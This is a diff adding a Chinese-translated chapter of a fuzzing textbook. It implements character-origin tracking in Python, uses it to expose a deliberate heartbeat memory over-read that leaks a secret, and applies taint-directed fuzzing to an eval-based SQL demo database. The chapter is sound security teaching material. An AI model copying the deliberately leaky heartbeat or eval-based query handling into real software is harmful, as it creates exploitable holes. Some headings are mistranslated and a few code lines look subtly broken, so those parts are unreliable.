+        lst = fun(self, *args, **kwargs)
+        return [self.create(elem) for elem in lst]
+    return proxy
+
+```
+
+```py
+for name in ['split', 'rsplit', 'splitlines']:
+    fun = getattr(str, name)
+    setattr(ostr, name, make_split_wrapper(fun))
+
+```
+
+```py
+thello = ostr('hello world', taint='LOW')
+thello == 'hello world'
+
+```
+
+```py
+True
+
+```
+
+```py
+thello.split()[0].taint
+
+```
+
+```py
+'LOW'
+
+```
+
+（供读者练习：处理*分区*，即按子字符串分割字符串）
+
+#### 串联
+
+如果将两个起源的字符串连接在一起，则可能需要将起源从每个字符串转移到结果字符串的相应部分。 字符串的连接是通过覆盖`__add__()`来完成的。
+
+```py
+class ostr(ostr):
+    def __add__(self, other):
+        if isinstance(other, ostr):
+            return self.create(str.__add__(self, other),
+                               (self.origin + other.origin))
+        else:
+            return self.create(str.__add__(self, other),
+                               (self.origin + [self.UNKNOWN_ORIGIN for i in other]))
+
+```
+
+```py
+thello = ostr("hello")
+tworld = ostr("world", origin=6)
+thw = thello + tworld
+assert thw.origin == [0, 1, 2, 3, 4, 6, 7, 8, 9, 10]
+
+```
+
+如果`ostr`与`str`连接在一起怎么办？
+
+```py
+space = "  "
+th_w = thello + space + tworld
+assert th_w.origin == [
+    0,
+    1,
+    2,
+    3,
+    4,
+    ostr.UNKNOWN_ORIGIN,
+    ostr.UNKNOWN_ORIGIN,
+    6,
+    7,
+    8,
+    9,
+    10]
+
+```
+
+这里的一个难题是，当添加`ostr`和`str`时，用户可以先放置`str`，在这种情况下，将在`str`实例上调用`__add__()`方法。 不在`ostr`实例上。 但是，Python提供了一种解决方案。 如果在`ostr`实例上定义了`__radd__()`，则将调用该方法，而不是`str.__add__()`
+
+```py
+class ostr(ostr):
+    def __radd__(self, other):
+        origin = other.origin if isinstance(other, ostr) else [
+            self.UNKNOWN_ORIGIN for i in other]
+        return self.create(str.__add__(other, self), (origin + self.origin))
+
+```
+
+我们测试一下：
+
+```py
+shello = "hello"
+tworld = ostr("world")
+thw = shello + tworld
+assert thw.origin == [ostr.UNKNOWN_ORIGIN] * len(shello) + [0, 1, 2, 3, 4]
+
+```
+
+这些方法：`slicing`和`concatenation`足以实现产生字符串的其他字符串方法，并且不会更改其下的字符（即不区分大小写）。 因此，接下来我们来看一个辅助方法。
+
+#### 提取原始字符串
+
+给定特定的输入索引，方法`x()`从`ostr`中提取相应的原始部分。 为了方便起见，它与`ints`一起支持`slices`。
+
+```py
+class ostr(ostr):
+    class TaintException(Exception):
+        pass
+
+    def x(self, i=0):
+        if not self.origin:
+            raise origin.TaintException('Invalid request idx')
+        if isinstance(i, int):
+            return [self[p]
+                    for p in [k for k, j in enumerate(self.origin) if j == i]]
+        elif isinstance(i, slice):
+            r = range(i.start or 0, i.stop or len(self), i.step or 1)
+            return [self[p]
+                    for p in [k for k, j in enumerate(self.origin) if j in r]]
+
+```
+
+```py
+thw = ostr('hello world', origin=100)
+
+```
+
+```py
+assert thw.x(101) == ['e']
+
+```
+
+```py
+assert thw.x(slice(101, 105)) == ['e', 'l', 'l', 'o']
+
+```
+
+#### 替换
+
+`replace()`方法将字符串的一部分替换为另一部分。
+
+```py
+class ostr(ostr):
+    def replace(self, a, b, n=None):
+        old_origin = self.origin
+        b_origin = b.origin if isinstance(
+            b, ostr) else [self.UNKNOWN_ORIGIN] * len(b)
+        mystr = str(self)
+        i = 0
+        while True:
+            if n and i >= n:
+                break
+            idx = mystr.find(a)
+            if idx == -1:
+                break
+            last = idx + len(a)
+            mystr = mystr.replace(a, b, 1)
+            partA, partB = old_origin[0:idx], old_origin[last:]
+            old_origin = partA + b_origin + partB
+            i += 1
+        return self.create(mystr, old_origin)
+
+```
+
+```py
+my_str = ostr("aa cde aa")
+res = my_str.replace('aa', 'bb')
+assert res, res.origin == ('bb', 'cde', 'bb',
+                           [self.UNKNOWN_ORIGIN, self.UNKNOWN_ORIGIN,
+                            2, 3, 4, 5, 6,
+                            self.UNKNOWN_ORIGIN, self.UNKNOWN_ORIGIN])
+
+```
+
+```py
+my_str = ostr("aa cde aa")
+res = my_str.replace('aa', ostr('bb', origin=100))
+assert (
+    res, res.origin) == (
+        ('bb cde bb'), [
+            100, 101, 2, 3, 4, 5, 6, 100, 101])
+
+```
+
+#### 分割
+
+本质上，我们必须重新实现拆分操作，并且按空间拆分与其他拆分略有不同。
+
+```py
+class ostr(ostr):
+    def _split_helper(self, sep, splitted):
+        result_list = []
+        last_idx = 0
+        first_idx = 0
+        sep_len = len(sep)
+
+        for s in splitted:
+            last_idx = first_idx + len(s)
+            item = self[first_idx:last_idx]
+            result_list.append(item)
+            first_idx = last_idx + sep_len
+        return result_list
+
+    def _split_space(self, splitted):
+        result_list = []
+        last_idx = 0
+        first_idx = 0
+        sep_len = 0
+        for s in splitted:
+            last_idx = first_idx + len(s)
+            item = self[first_idx:last_idx]
+            result_list.append(item)
+            v = str(self[last_idx:])
+            sep_len = len(v) - len(v.lstrip(' '))
+            first_idx = last_idx + sep_len
+        return result_list
+
+    def rsplit(self, sep=None, maxsplit=-1):
+        splitted = super().rsplit(sep, maxsplit)
+        if not sep:
+            return self._split_space(splitted)
+        return self._split_helper(sep, splitted)
+
+    def split(self, sep=None, maxsplit=-1):
+        splitted = super().split(sep, maxsplit)
+        if not sep:
+            return self._split_space(splitted)
+        return self._split_helper(sep, splitted)
+
+```
+
+```py
+my_str = ostr('ab cdef ghij kl')
+ab, cdef, ghij, kl = my_str.rsplit(sep=' ')
+assert (ab.origin, cdef.origin, ghij.origin,
+        kl.origin) == ([0, 1], [3, 4, 5, 6], [8, 9, 10, 11], [13, 14])
+
+my_str = ostr('ab cdef ghij kl', origin=list(range(0, 15)))
+ab, cdef, ghij, kl = my_str.rsplit(sep=' ')
+assert(ab.origin, cdef.origin, kl.origin) == ([0, 1], [3, 4, 5, 6], [13, 14])
+
+```
+
+```py
+my_str = ostr('ab   cdef ghij    kl', origin=100, taint='HIGH')
+ab, cdef, ghij, kl = my_str.rsplit()
+assert (ab.origin, cdef.origin, ghij.origin,
+        kl.origin) == ([100, 101], [105, 106, 107, 108], [110, 111, 112, 113],
+                       [118, 119])
+
+my_str = ostr('ab   cdef ghij    kl', origin=list(range(0, 20)), taint='HIGH')
+ab, cdef, ghij, kl = my_str.split()
+assert (ab.origin, cdef.origin, kl.origin) == ([0, 1], [5, 6, 7, 8], [18, 19])
+assert ab.taint == 'HIGH'
+
+```
+
+#### 剥离
+
+```py
+class ostr(ostr):
+    def strip(self, cl=None):
+        return self.lstrip(cl).rstrip(cl)
+
+    def lstrip(self, cl=None):
+        res = super().lstrip(cl)
+        i = self.find(res)
+        return self[i:]
+
+    def rstrip(self, cl=None):
+        res = super().rstrip(cl)
+        return self[0:len(res)]
+
+```
+
+```py
+my_str1 = ostr("  abc  ")
+v = my_str1.strip()
+assert v, v.origin == ('abc', [2, 3, 4])
+
+```
+
+```py
+my_str1 = ostr("  abc  ")
+v = my_str1.lstrip()
+assert (v, v.origin) == ('abc  ', [2, 3, 4, 5, 6])
+
+```
+
+```py
+my_str1 = ostr("  abc  ")
+v = my_str1.rstrip()
+assert (v, v.origin) == ('  abc', [0, 1, 2, 3, 4])
+
+```
+
+#### 展开选项卡
+
+```py
+class ostr(ostr):
+    def expandtabs(self, n=8):
+        parts = self.split('\t')
+        res = super().expandtabs(n)
+        all_parts = []
+        for i, p in enumerate(parts):
+            all_parts.extend(p.origin)
+            if i < len(parts) - 1:
+                l = len(all_parts) % n
+                all_parts.extend([p.origin[-1]] * l)
+        return self.create(res, all_parts)
+
+```
+
+```py
+my_str = str("ab\tcd")
+my_ostr = ostr("ab\tcd")
+v1 = my_str.expandtabs(4)
+v2 = my_ostr.expandtabs(4)
+
+```
+
+```py
+assert str(v1) == str(v2)
+assert (len(v1), repr(v2), v2.origin) == (6, "'ab  cd'", [0, 1, 1, 1, 3, 4])
+
+```
+
+```py
+class ostr(ostr):
+    def join(self, iterable):
+        mystr = ''
+        myorigin = []
+        sep_origin = self.origin
+        lst = list(iterable)
+        for i, s in enumerate(lst):
+            sorigin = s.origin if isinstance(s, ostr) else [
+                self.UNKNOWN_ORIGIN] * len(s)
+            myorigin.extend(sorigin)
+            mystr += str(s)
+            if i < len(lst) - 1:
+                myorigin.extend(sep_origin)
+                mystr += str(self)
+        res = super().join(iterable)
+        assert len(res) == len(mystr)
+        return self.create(res, myorigin)
+
+```
+
+```py
+my_str = ostr("ab cd", origin=100)
+(v1, v2), v3 = my_str.split(), 'ef'
+assert (v1.origin, v2.origin) == ([100, 101], [103, 104])
+
+```
+
+```py
+v4 = ostr('').join([v2, v3, v1])
+assert (
+    v4, v4.origin) == (
+        'cdefab', [
+            103, 104, ostr.UNKNOWN_ORIGIN, ostr.UNKNOWN_ORIGIN, 100, 101])
+
+```
+
+```py
+my_str = ostr("ab cd", origin=100)
+(v1, v2), v3 = my_str.split(), 'ef'
+assert (v1.origin, v2.origin) == ([100, 101], [103, 104])
+
+```
+
+```py
+v4 = ostr(',').join([v2, v3, v1])
+assert (v4, v4.origin) == ('cd,ef,ab',
+                           [103, 104, 0, ostr.UNKNOWN_ORIGIN, ostr.UNKNOWN_ORIGIN, 0, 100, 101])
+
+```
+
+#### 乐谱
+
+```py
+class ostr(ostr):
+    def partition(self, sep):
+        partA, sep, partB = super().partition(sep)
+        return (self.create(partA, self.origin[0:len(partA)]),
+                self.create(sep,
+                            self.origin[len(partA):len(partA) + len(sep)]),
+                self.create(partB, self.origin[len(partA) + len(sep):]))
+
+    def rpartition(self, sep):
+        partA, sep, partB = super().rpartition(sep)
+        return (self.create(partA, self.origin[0:len(partA)]),
+                self.create(sep,
+                            self.origin[len(partA):len(partA) + len(sep)]),
+                self.create(partB, self.origin[len(partA) + len(sep):]))
+
+```
+
+#### 证明
+
+```py
+class ostr(ostr):
+    def ljust(self, width, fillchar=' '):
+        res = super().ljust(width, fillchar)
+        initial = len(res) - len(self)
+        if isinstance(fillchar, tstr):
+            t = fillchar.x()
+        else:
+            t = self.UNKNOWN_ORIGIN
+        return self.create(res, [t] * initial + self.origin)
+
+```
+
+```py
+class ostr(ostr):
+    def rjust(self, width, fillchar=' '):
+        res = super().rjust(width, fillchar)
+        final = len(res) - len(self)
+        if isinstance(fillchar, tstr):
+            t = fillchar.x()
+        else:
+            t = self.UNKNOWN_ORIGIN
+        return self.create(res, self.origin + [t] * final)
+
+```
+
+#### mod
+
+```py
+class ostr(ostr):
+    def __mod__(self, s):
+        # nothing else implemented for the time being
+        assert isinstance(s, str)
+        s_origin = s.origin if isinstance(
+            s, ostr) else [self.UNKNOWN_ORIGIN] * len(s)
+        i = self.find('%s')
+        assert i >= 0
+        res = super().__mod__(s)
+        r_origin = self.origin[:]
+        r_origin[i:i + 2] = s_origin
+        return self.create(res, origin=r_origin)
+
+```
+
+```py
+class ostr(ostr):
+    def __rmod__(self, s):
+        # nothing else implemented for the time being
+        assert isinstance(s, str)
+        r_origin = s.origin if isinstance(
+            s, ostr) else [self.UNKNOWN_ORIGIN] * len(s)
+        i = s.find('%s')
+        assert i >= 0
+        res = super().__rmod__(s)
+        s_origin = self.origin[:]
+        r_origin[i:i + 2] = s_origin
+        return self.create(res, origin=r_origin)
+
+```
+
+```py
+a = ostr('hello %s world', origin=100)
+a
+
+```
+
+```py
+'hello %s world'
+
+```
+
+```py
+(a % 'good').origin
+
+```
+
+```py
+[100, 101, 102, 103, 104, 105, -1, -1, -1, -1, 108, 109, 110, 111, 112, 113]
+
+```
+
+```py
+b = 'hello %s world'
+c = ostr('bad', origin=10)
+(b % c).origin
+
+```
+
+```py
+[-1, -1, -1, -1, -1, -1, 10, 11, 12, -1, -1, -1, -1, -1, -1]
+
+```
+
+#### 不改变原点的字符串方法
+
+```py
+class ostr(ostr):
+    def swapcase(self):
+        return self.create(str(self).swapcase(), self.origin)
+
+    def upper(self):
+        return self.create(str(self).upper(), self.origin)
+
+    def lower(self):
+        return self.create(str(self).lower(), self.origin)
+
+    def capitalize(self):
+        return self.create(str(self).capitalize(), self.origin)
+
+    def title(self):
+        return self.create(str(self).title(), self.origin)
+
+```
+
+```py
+a = ostr('aa', origin=100).upper()
+a, a.origin
+
+```
+
+```py
+('AA', [100, 101])
+
+```
+
+#### 通用包装器
+
+这些操作并非严格需要，但对于跟踪很有用。
+
+```py
+def make_str_wrapper(fun):
+    def proxy(*args, **kwargs):
+        res = fun(*args, **kwargs)
+        return res
+    return proxy
+
+```
+
+```py
+import [inspect](https://docs.python.org/3/library/inspect.html)
+
+```
+
+```py
+import [types](https://docs.python.org/3/library/types.html)
+
+```
+
+```py
+ostr_members = [name for name, fn in inspect.getmembers(ostr, callable)
+                if isinstance(fn, types.FunctionType) and fn.__qualname__.startswith('ostr')]
+
+for name, fn in inspect.getmembers(str, callable):
+    if name not in set(['__class__', '__new__', '__str__', '__init__',
+                        '__repr__', '__getattribute__']) | set(ostr_members):
+        setattr(ostr, name, make_str_wrapper(fn))
+
+```
+
+#### 尚未翻译的方法
+
+这些方法从其他字符串生成字符串。 但是，对于这些方法，我们都没有正确的实现方式。 因此，在我们生成正确的翻译之前，这些都被标记为危险。
+
+```py
+def make_str_abort_wrapper(fun):
+    def proxy(*args, **kwargs):
+        raise ostr.TaintException(
+            '%s Not implemented in `ostr`' %
+            fun.__name__)
+    return proxy
+
+```
+
+```py
+for name, fn in inspect.getmembers(str, callable):
+    # Omitted 'splitlines' as this is needed for formatting output in
+    # IPython/Jupyter
+    if name in ['__format__', 'format_map', 'format',
+                '__mul__', '__rmul__', 'center', 'zfill', 'decode', 'encode']:
+        setattr(ostr, name, make_str_abort_wrapper(fn))
+
+```
+
+### 检查原点
+
+完成所有这些操作后，我们现在有了完整的`ostr`字符串，可以在其中轻松检查每个字符的来源。
+
+要检查一个字符串是否起源于另一个字符串，我们可以将其转换为一个集合，然后采用标准集合操作：
+
+```py
+s = ostr("hello", origin=100)
+s[1]
+
+```
+
+```py
+'e'
+
+```
+
+```py
+s[1].origin
+
+```
+
+```py
+[101]
+
+```
+
+```py
+set(s[1].origin) <= set(s.origin)
+
+```
+
+```py
+True
+
+```
+
+```py
+t = ostr("world", origin=200)
+
+```
+
+```py
+set(s.origin) <= set(t.origin)
+
+```
+
+```py
+False
+
+```
+
+```py
+u = s + t + "!"
+
+```
+
+```py
+u.origin
+
+```
+
+```py
+[100, 101, 102, 103, 104, 200, 201, 202, 203, 204, -1]
+
+```
+
+```py
+ostr.UNKNOWN_ORIGIN in u.origin
+
+```
+
+```py
+True
+
+```
+
+### 再谈隐私泄漏
+
+让我们应用它来看看我们是否可以提出令人满意的解决方案来检查`heartbeat()`功能是否存在信息泄漏。
+
+```py
+SECRET_ORIGIN = 1000
+
+```
+
+我们定义了一个绝不能泄漏的“秘密”：
+
+```py
+secret = ostr('<again, some super-secret input>', origin=SECRET_ORIGIN)
+
+```
+
+`secret`中的每个字符都有一个以`SECRET_ORIGIN`开头的原点：
+
+```py
+print(secret.origin)
+
+```
+
+```py
+[1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031]
+
+```
+
+如果现在使用给定的字符串调用`heartbeat()`，则答复的来源都应为`UNKNOWN_ORIGIN`（来自输入），并且所有字符都不应具有`SECRET_ORIGIN`。
+
+```py
+s = heartbeat('hello', 5, memory=secret)
+s
+
+```
+
+```py
+'hello'
+
+```
+
+```py
+print(s.origin)
+
+```
+
+```py
+[-1, -1, -1, -1, -1]
+
+```
+
+我们可以通过制定适当的断言来验证机密没有泄漏：
+
+```py
+assert s.origin == [ostr.UNKNOWN_ORIGIN] * len(s)
+
+```
+
+```py
+assert all(origin == ostr.UNKNOWN_ORIGIN for origin in s.origin)
+
+```
+
+```py
+assert not any(origin >= SECRET_ORIGIN for origin in s.origin)
+
+```
+
+所有断言都通过，再次确认没有秘密泄漏出去。
+
+现在让我们去利用`heartbeat()`揭示其秘密。 由于`heartbeat()`保持不变，因此与以前一样脆弱：
+
+```py
+s = heartbeat('hello', 32, memory=secret)
+s
+
+```
+
+```py
+'hellon, some super-secret input>'
+
+```
+
+但是，现在，回复*确实*包含机密信息：
+
+```py
+print(s.origin)
+
+```
+
+```py
+[-1, -1, -1, -1, -1, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031]
+
+```
+
+```py
+with ExpectError():
+    assert s.origin == [ostr.UNKNOWN_ORIGIN] * len(s)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-203-6cac9e5bbde7>", line 2, in <module>
+    assert s.origin == [ostr.UNKNOWN_ORIGIN] * len(s)
+AssertionError (expected)
+
+```
+
+```py
+with ExpectError():
+    assert all(origin == ostr.UNKNOWN_ORIGIN for origin in s.origin)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-204-860ea80b8867>", line 2, in <module>
+    assert all(origin == ostr.UNKNOWN_ORIGIN for origin in s.origin)
+AssertionError (expected)
+
+```
+
+```py
+with ExpectError():
+    assert not any(origin >= SECRET_ORIGIN for origin in s.origin)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-205-9630f3080c59>", line 2, in <module>
+    assert not any(origin >= SECRET_ORIGIN for origin in s.origin)
+AssertionError (expected)
+
+```
+
+现在，我们可以将这些断言集成到`heartbeat()`函数中，从而使其在泄漏信息之前失败。 另外（或替代？），我们还可以重写输出函数，以不泄露任何秘密信息。 我们将把这两个练习留给读者。
+
+## 污染导向模糊
+
+先前的*污染意识模糊*有点让人不满意，因为我们不能将重点放在导致危险操作的语法特定部分上。 我们使用`TrackingDB`修复了*污点定向模糊*的问题。
+
+这里的想法是跟踪到达`eval`的每个字符的起源。 然后，将其追溯到生成它的语法节点，并增加再次使用这些节点的可能性。
+
+### TrackingDB
+
+`TrackingDB`类似于`TaintedDB`。 区别在于，如果我们发现执行已达到`my_eval`，则只需提高`Tainted`即可。
+
+```py
+class TrackingDB(TaintedDB):
+    def my_eval(self, statement, g, l):
+        if statement.origin:
+            raise Tainted(statement)
+        try:
+            return eval(statement, g, l)
+        except:
+            raise SQLException('Invalid SQL (%s)' % repr(statement))
+
+```
+
+接下来，我们需要一个保留污渍的特制模糊器。
+
+### TaintedGrammarFuzzer
+
+我们定义一个`TaintedGrammarFuzzer`类，以确保污点传播到派生树。 类似于[一章中关于语法模糊测试](GrammarFuzzer.html)的`GrammarFuzzer`，除了保留了来源和污点。
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+```py
+from [Grammars](Grammars.html) import START_SYMBOL
+
+```
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer
+
+```
+
+```py
+from [Parser](Parser.html) import canonical
+
+```
+
+```py
+class TaintedGrammarFuzzer(GrammarFuzzer):
+    def __init__(self,
+                 grammar,
+                 start_symbol=START_SYMBOL,
+                 expansion_switch=1,
+                 log=False):
+        self.tainted_start_symbol = ostr(
+            start_symbol, origin=[1] * len(start_symbol))
+        self.expansion_switch = expansion_switch
+        self.log = log
+        self.grammar = grammar
+        self.c_grammar = canonical(grammar)
+        self.init_tainted_grammar()
+
+    def expansion_cost(self, expansion, seen=set()):
+        symbols = [e for e in expansion if e in self.c_grammar]
+        if len(symbols) == 0:
+            return 1
+
+        if any(s in seen for s in symbols):
+            return float('inf')
+
+        return sum(self.symbol_cost(s, seen) for s in symbols) + 1
+
+    def fuzz_tree(self):
+        tree = (self.tainted_start_symbol, [])
+        nt_leaves = [tree]
+        expansion_trials = 0
+        while nt_leaves:
+            idx = random.randint(0, len(nt_leaves) - 1)
+            key, children = nt_leaves[idx]
+            expansions = self.ct_grammar[key]
+            if expansion_trials < self.expansion_switch:
+                expansion = random.choice(expansions)
+            else:
+                costs = [self.expansion_cost(e) for e in expansions]
+                m = min(costs)
+                all_min = [i for i, c in enumerate(costs) if c == m]
+                expansion = expansions[random.choice(all_min)]
+
+            new_leaves = [(token, []) for token in expansion]
+            new_nt_leaves = [e for e in new_leaves if e[0] in self.ct_grammar]
+            children[:] = new_leaves
+            nt_leaves[idx:idx + 1] = new_nt_leaves
+            if self.log:
+                print("%-40s" % (key + " -> " + str(expansion)))
+            expansion_trials += 1
+        return tree
+
+    def fuzz(self):
+        self.derivation_tree = self.fuzz_tree()
+        return self.tree_to_string(self.derivation_tree)
+
+```
+
+我们使用专门准备的污染语法进行模糊测试。 我们标记每个单独的定义，每个单独的规则以及每个带有单独来源的标记（在检查语法后，我们在此处选择标记边界10）。 这使我们能够准确地跟踪语法中哪些部分涉及到我们感兴趣的操作。
+
+```py
+class TaintedGrammarFuzzer(TaintedGrammarFuzzer):
+    def init_tainted_grammar(self):
+        key_increment, alt_increment, token_increment = 1000, 100, 10
+        key_origin = key_increment
+        self.ct_grammar = {}
+        for key, val in self.c_grammar.items():
+            key_origin += key_increment
+            os = []
+            for v in val:
+                ts = []
+                key_origin += alt_increment
+                for t in v:
+                    nt = ostr(t, origin=key_origin)
+                    key_origin += token_increment
+                    ts.append(nt)
+                os.append(ts)
+            self.ct_grammar[key] = os
+
+        # a use tracking grammar
+        self.ctp_grammar = {}
+        for key, val in self.ct_grammar.items():
+            self.ctp_grammar[key] = [(v, dict(use=0)) for v in val]
+
+```
+
+和以前一样，我们初始化`TrackingDB`
+
+```py
+trdb = TrackingDB(db.db)
+
+```
+
+最后，我们需要确保在将树转换回字符串时保留污点。 为此，我们定义了`tainted_tree_to_string()`
+
+```py
+class TaintedGrammarFuzzer(TaintedGrammarFuzzer):
+    def tree_to_string(self, tree):
+        symbol, children, *_ = tree
+        e = ostr('')
+        if children:
+            return e.join([self.tree_to_string(c) for c in children])
+        else:
+            return e if symbol in self.c_grammar else symbol
+
+```
+
+我们定义`update_grammar()`，它接受到达危险操作的一组起源以及用于模糊测试以更新增强语法的原始字符串的派生树。
+
+```py
+class TaintedGrammarFuzzer(TaintedGrammarFuzzer):
+    def update_grammar(self, origin, dtree):
+        def update_tree(dtree, origin):
+            key, children = dtree
+            if children:
+                updated_children = [update_tree(c, origin) for c in children]
+                corigin = set.union(
+                    *[o for (key, children, o) in updated_children])
+                corigin = corigin.union(set(key.origin))
+                return (key, children, corigin)
+            else:
+                my_origin = set(key.origin).intersection(origin)
+                return (key, [], my_origin)
+
+        key, children, oset = update_tree(dtree, set(origin))
+        for key, alts in self.ctp_grammar.items():
+            for alt, o in alts:
+                alt_origins = set([i for token in alt for i in token.origin])
+                if alt_origins.intersection(oset):
+                    o['use'] += 1
+
+```
+
+有了这些，我们现在就可以开始模糊起来了。
+
+```py
+def tree_type(tree):
+    key, children = tree
+    return (type(key), key, [tree_type(c) for c in children])
+
+```
+
+```py
+tgf = TaintedGrammarFuzzer(INVENTORY_GRAMMAR_F)
+x = None
+for _ in range(10):
+    qtree = tgf.fuzz_tree()
+    query = tgf.tree_to_string(qtree)
+    assert isinstance(query, ostr)
+    try:
+        print(repr(query))
+        res = trdb.sql(query)
+        print(repr(res))
+    except SQLException as e:
+        print(e)
+    except Tainted as e:
+        print(e)
+        origin = e.args[0].origin
+        tgf.update_grammar(origin, qtree)
+    except:
+        traceback.print_exc()
+        break
+    print()
+
+```
+
+```py
+'select (g!=(9)!=((:)==2==9)!=J)==-7 from inventory'
+Tainted[((g!=(9)!=((:)==2==9)!=J)==-7)]
+
+'delete from inventory where ((c)==T)!=5==(8!=Y)!=-5'
+Tainted[((c)==T)!=5==(8!=Y)!=-5]
+
+'select (((w==(((X!=------8)))))) from inventory'
+Tainted[((((w==(((X!=------8)))))))]
+
+'delete from inventory where ((.==(-3)!=(((-3))))!=(S==(((n))==Y))!=--2!=N==-----0==--0)!=(((((R))))==((v)))!=((((((------2==Q==-8!=(q)!=(((.!=2))==J)!=(1)!=(((-4!=--5==J!=(((A==.)))))!=(((((0==(P!=((R))!=(((j)))!=7))))==O==K))==(q))==--1==((H)==(t)==s!=-6==((y))==R)!=((H))!=W==--4==(P==(u)==-0)!=O==((-5==-------2!=4!=U))!=-1==((((((R!=-6))))))!=1!=Z)))==(((I)!=((S))!=(-4==s)==(7!=(A))==(s)==p==((_)!=(C))==((w)))))))'
+Tainted[((.==(-3)!=(((-3))))!=(S==(((n))==Y))!=--2!=N==-----0==--0)!=(((((R))))==((v)))!=((((((------2==Q==-8!=(q)!=(((.!=2))==J)!=(1)!=(((-4!=--5==J!=(((A==.)))))!=(((((0==(P!=((R))!=(((j)))!=7))))==O==K))==(q))==--1==((H)==(t)==s!=-6==((y))==R)!=((H))!=W==--4==(P==(u)==-0)!=O==((-5==-------2!=4!=U))!=-1==((((((R!=-6))))))!=1!=Z)))==(((I)!=((S))!=(-4==s)==(7!=(A))==(s)==p==((_)!=(C))==((w)))))))]
+
+'delete from inventory where ((2)==T!=-1)==N==(P)==((((((6==a)))))!=8)==(3)!=((---7))'
+Tainted[((2)==T!=-1)==N==(P)==((((((6==a)))))!=8)==(3)!=((---7))]
+
+'delete from inventory where o!=2==---5==3!=t'
+Tainted[o!=2==---5==3!=t]
+
+'select (2) from inventory'
+Tainted[((2))]
+
+'select _ from inventory'
+Tainted[(_)]
+
+'select L!=(((1!=(Z)==C)!=C))==(((-0==-5==Q!=((--2!=(-0)==((0))==M)==(A))!=(X)!=e==(K==((b)))!=b==9==((((l)!=-7!=4)!=s==G))!=6==((((5==(((v==(((((((a!=d))==0!=4!=(4)==--1==(h)==-8!=(9)==-4)))))!=I!=-4))==v!=(Y==b)))==(a))!=((7)))))))==((4)) from inventory'
+Tainted[(L!=(((1!=(Z)==C)!=C))==(((-0==-5==Q!=((--2!=(-0)==((0))==M)==(A))!=(X)!=e==(K==((b)))!=b==9==((((l)!=-7!=4)!=s==G))!=6==((((5==(((v==(((((((a!=d))==0!=4!=(4)==--1==(h)==-8!=(9)==-4)))))!=I!=-4))==v!=(Y==b)))==(a))!=((7)))))))==((4)))]
+
+'delete from inventory where _==(7==(9)!=(---5)==1)==-8'
+Tainted[_==(7==(9)!=(---5)==1)==-8]
+
+```
+
+现在，我们可以检查增强的语法，以查看每个规则使用了多少次。
+
+```py
+tgf.ctp_grammar
+
+```
+
+```py
+{'<start>': [(['<query>'], {'use': 10})],
+ '<expr>': [(['<bexpr>'], {'use': 8}),
+  (['<aexpr>'], {'use': 8}),
+  (['(', '<expr>', ')'], {'use': 8}),
+  (['<term>'], {'use': 10})],
+ '<bexpr>': [(['<aexpr>', '<lt>', '<aexpr>'], {'use': 0}),
+  (['<aexpr>', '<gt>', '<aexpr>'], {'use': 0}),
+  (['<expr>', '==', '<expr>'], {'use': 8}),
+  (['<expr>', '!=', '<expr>'], {'use': 8})],
+ '<aexpr>': [(['<aexpr>', '+', '<aexpr>'], {'use': 0}),
+  (['<aexpr>', '-', '<aexpr>'], {'use': 0}),
+  (['<aexpr>', '*', '<aexpr>'], {'use': 0}),
+  (['<aexpr>', '/', '<aexpr>'], {'use': 0}),
+  (['<word>', '(', '<exprs>', ')'], {'use': 0}),
+  (['<expr>'], {'use': 8})],
+ '<exprs>': [(['<expr>', ',', '<exprs>'], {'use': 0}),
+  (['<expr>'], {'use': 5})],
+ '<lt>': [(['<'], {'use': 0})],
+ '<gt>': [(['>'], {'use': 0})],
+ '<term>': [(['<number>'], {'use': 9}), (['<word>'], {'use': 9})],
+ '<number>': [(['<integer>', '.', '<integer>'], {'use': 0}),
+  (['<integer>'], {'use': 9}),
+  (['-', '<number>'], {'use': 8})],
+ '<integer>': [(['<digit>', '<integer>'], {'use': 0}),
+  (['<digit>'], {'use': 9})],
+ '<word>': [(['<word>', '<letter>'], {'use': 0}),
+  (['<word>', '<digit>'], {'use': 0}),
+  (['<letter>'], {'use': 9})],
+ '<digit>': [(['0'], {'use': 2}),
+  (['1'], {'use': 4}),
+  (['2'], {'use': 6}),
+  (['3'], {'use': 3}),
+  (['4'], {'use': 2}),
+  (['5'], {'use': 5}),
+  (['6'], {'use': 3}),
+  (['7'], {'use': 5}),
+  (['8'], {'use': 6}),
+  (['9'], {'use': 3})],
+ '<letter>': [(['a'], {'use': 2}),
+  (['b'], {'use': 1}),
+  (['c'], {'use': 1}),
+  (['d'], {'use': 1}),
+  (['e'], {'use': 1}),
+  (['f'], {'use': 0}),
+  (['g'], {'use': 1}),
+  (['h'], {'use': 1}),
+  (['i'], {'use': 0}),
+  (['j'], {'use': 1}),
+  (['k'], {'use': 0}),
+  (['l'], {'use': 1}),
+  (['m'], {'use': 0}),
+  (['n'], {'use': 1}),
+  (['o'], {'use': 1}),
+  (['p'], {'use': 1}),
+  (['q'], {'use': 1}),
+  (['r'], {'use': 0}),
+  (['s'], {'use': 2}),
+  (['t'], {'use': 2}),
+  (['u'], {'use': 1}),
+  (['v'], {'use': 2}),
+  (['w'], {'use': 2}),
+  (['x'], {'use': 0}),
+  (['y'], {'use': 1}),
+  (['z'], {'use': 0}),
+  (['A'], {'use': 2}),
+  (['B'], {'use': 0}),
+  (['C'], {'use': 2}),
+  (['D'], {'use': 0}),
+  (['E'], {'use': 0}),
+  (['F'], {'use': 0}),
+  (['G'], {'use': 1}),
+  (['H'], {'use': 1}),
+  (['I'], {'use': 2}),
+  (['J'], {'use': 2}),
+  (['K'], {'use': 2}),
+  (['L'], {'use': 1}),
+  (['M'], {'use': 1}),
+  (['N'], {'use': 2}),
+  (['O'], {'use': 1}),
+  (['P'], {'use': 2}),
+  (['Q'], {'use': 2}),
+  (['R'], {'use': 1}),
+  (['S'], {'use': 1}),
+  (['T'], {'use': 2}),
+  (['U'], {'use': 1}),
